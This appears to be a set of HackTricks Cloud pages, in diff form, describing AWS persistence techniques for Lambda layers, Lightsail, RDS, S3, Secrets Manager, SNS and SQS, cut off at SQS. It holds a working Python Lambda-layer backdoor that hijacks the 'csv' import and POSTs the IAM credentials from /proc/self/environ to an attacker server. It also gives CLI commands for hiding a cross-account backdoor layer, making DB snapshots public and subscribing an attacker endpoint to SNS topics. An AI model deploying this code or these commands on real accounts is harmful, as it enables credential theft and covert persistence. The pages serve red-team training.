['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
|
||||
{% hint style="danger" %}
|
||||
If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
{% endhint %}
|
||||
|
||||
Therefore, the requisites are:
|
||||
|
||||
* **Check libraries** that are **loaded** by the victims code
|
||||
* Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
|
||||
### Preloaded libraries
|
||||
|
||||
{% hint style="warning" %}
|
||||
When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
|
||||
In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
{% endhint %}
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
|
||||
```python
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
|
||||
And this is the **list** (check that libraries like `os` or `json` are already there)
|
||||
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
|
||||
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
|
||||
* Execute our payload
|
||||
* Load the original csv library
|
||||
|
||||
We can do both with:
|
||||
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
|
||||
with open("/proc/self/environ", "rb") as file:
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
|
||||
# Remove backdoor directory from path to load original library
|
||||
del_path_dir = "/".join(__file__.split("/")[:-2])
|
||||
sys.path.remove(del_path_dir)
|
||||
|
||||
# Remove backdoored loaded library from sys.modules
|
||||
del sys.modules[__file__.split("/")[-2]]
|
||||
|
||||
# Load original library
|
||||
import csv as _csv
|
||||
|
||||
sys.modules["csv"] = _csv
|
||||
```
|
||||
|
||||
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
|
||||
|
||||
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
|
||||
|
||||
{% content-ref url="../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md" %}
|
||||
[aws-warm-lambda-persistence.md](../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### External Layers
|
||||
|
||||
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
|
||||
Also note that the **max number of layers a lambda can have is 5**.
|
||||
|
||||
Therefore, in order to improve the versatility of this technique an attacker could:
|
||||
|
||||
* Backdoor an existing layer of the user (nothing is external)
|
||||
* **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
|
||||
* The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
|
||||
* The victim **won't see external layers** used with **`aws lambda list-layers`**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
|
||||
# Give everyone access to the lambda layer
|
||||
## Put the account number in --principal to give access only to an account
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
|
||||
## Add layer to victims Lambda
|
||||
|
||||
# Remove permissions
|
||||
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-lightsail-enum.md" %}
|
||||
[aws-lightsail-enum.md](../aws-services/aws-lightsail-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
|
||||
They won't be changed probably so just having them is a good option for persistence
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
* Using a traditional **rootkit** for example
|
||||
* Adding a new **public SSH key**
|
||||
* Expose a port with port knocking with a backdoor
|
||||
|
||||
### DNS persistence
|
||||
|
||||
If domains are configured:
|
||||
|
||||
* Create a subdomain pointing your IP so you will have a **subdomain takeover**
|
||||
* Create **SPF** record allowing you to send **emails** from the domain
|
||||
* Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,61 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-relational-database-rds-enum.md" %}
|
||||
[aws-relational-database-rds-enum.md](../aws-services/aws-relational-database-rds-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Make instance publicly accessible: `rds:ModifyDBInstance`
|
||||
|
||||
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Create an admin user inside the DB
|
||||
|
||||
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
|
||||
|
||||
### Make snapshot public
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,51 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-s3-athena-and-glacier-enum.md" %}
|
||||
[aws-s3-athena-and-glacier-enum.md](../aws-services/aws-s3-athena-and-glacier-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,79 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-secrets-manager-enum.md" %}
|
||||
[aws-secrets-manager-enum.md](../aws-services/aws-secrets-manager-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via Resource Policies
|
||||
|
||||
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
|
||||
To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,107 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SNS
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-sns-enum.md" %}
|
||||
[aws-sns-enum.md](../aws-services/aws-sns-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Persistence
|
||||
|
||||
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
||||
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Create Subscribers
|
||||
|
||||
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
||||
|
||||
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,68 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
|
||||
{% content-ref url="../aws-services/aws-sqs-and-sns-enum.md" %}
|
||||
[aws-sqs-and-sns-enum.md](../aws-services/aws-sqs-and-sns-enum.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Using resource policy
|
||||
|
||||
